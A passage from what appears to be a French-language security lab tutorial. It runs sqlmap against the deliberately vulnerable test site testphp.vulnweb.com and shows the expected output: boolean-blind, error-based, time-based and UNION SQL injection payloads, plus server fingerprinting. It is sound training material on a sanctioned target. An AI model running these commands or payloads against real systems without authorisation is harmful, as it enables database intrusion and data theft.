Détection d'une vulnérabilité d'injection SQL
Maintenant que sqlmap est installé, vous pouvez commencer à tester une application web pour détecter d'éventuelles vulnérabilités d'injection SQL. Pour cet atelier, nous utiliserons un site web accessible publiquement, intentionnellement vulnérable et conçu pour les tests de sécurité. La première étape de toute attaque par injection SQL consiste à identifier un paramètre vulnérable.
L'URL cible pour cet atelier est http://testphp.vulnweb.com/listproducts.php?cat=1. Le paramètre cat=1 est un point d'entrée potentiel pour l'injection. Nous allons utiliser sqlmap pour tester automatiquement ce paramètre.
Exécutez la commande suivante pour lancer le test. L'option -u spécifie l'URL cible. Nous utilisons l'option --batch pour laisser sqlmap s'exécuter avec les réponses par défaut à toutes les questions interactives, ce qui rend le processus non interactif et plus rapide.
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --batch
sqlmap effectuera une série de tests sur l'URL. Il analysera les réponses pour déterminer si le paramètre cat est injectable. Ce processus peut prendre une minute ou deux car il essaie diverses techniques d'injection SQL.
Une fois l'analyse terminée, examinez les résultats. Vous devriez trouver une section confirmant la vulnérabilité.
Résultat attendu (tronqué) :
---
Parameter: cat (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cat=1 AND 7125=7125
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: cat=1 AND GTID_SUBSET(CONCAT(0x71786a6a71,(SELECT (ELT(8227=8227,1))),0x716a627071),8227)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: cat=1 AND (SELECT 7601 FROM (SELECT(SLEEP(5)))jbZM)
Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: cat=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71786a6a71,0x4a484f686a79456477714b47526758645944704b4645674b784a76507569597a494170424a766642,0x716a627071),NULL,NULL,NULL,NULL-- -
---
[HH:MM:SS] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[HH:MM:SS] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'
Le résultat confirme que le paramètre cat est vulnérable à plusieurs types d'attaques par injection SQL :
- Boolean-based blind : Utilise une logique vrai/faux pour extraire des données.
- Error-based : Exploite les messages d'erreur de la base de données pour révéler des informations.
- Time-based blind : Utilise des délais dans les réponses pour confirmer l'injection.
- UNION query : Combine les résultats de plusieurs instructions SELECT.
L'analyse identifie également que la base de données dorsale est MySQL version 5.6 ou supérieure, fonctionnant sur un système Linux Ubuntu avec Nginx et PHP. Ces informations détaillées d'empreinte numérique guident les prochaines étapes du processus d'exploitation.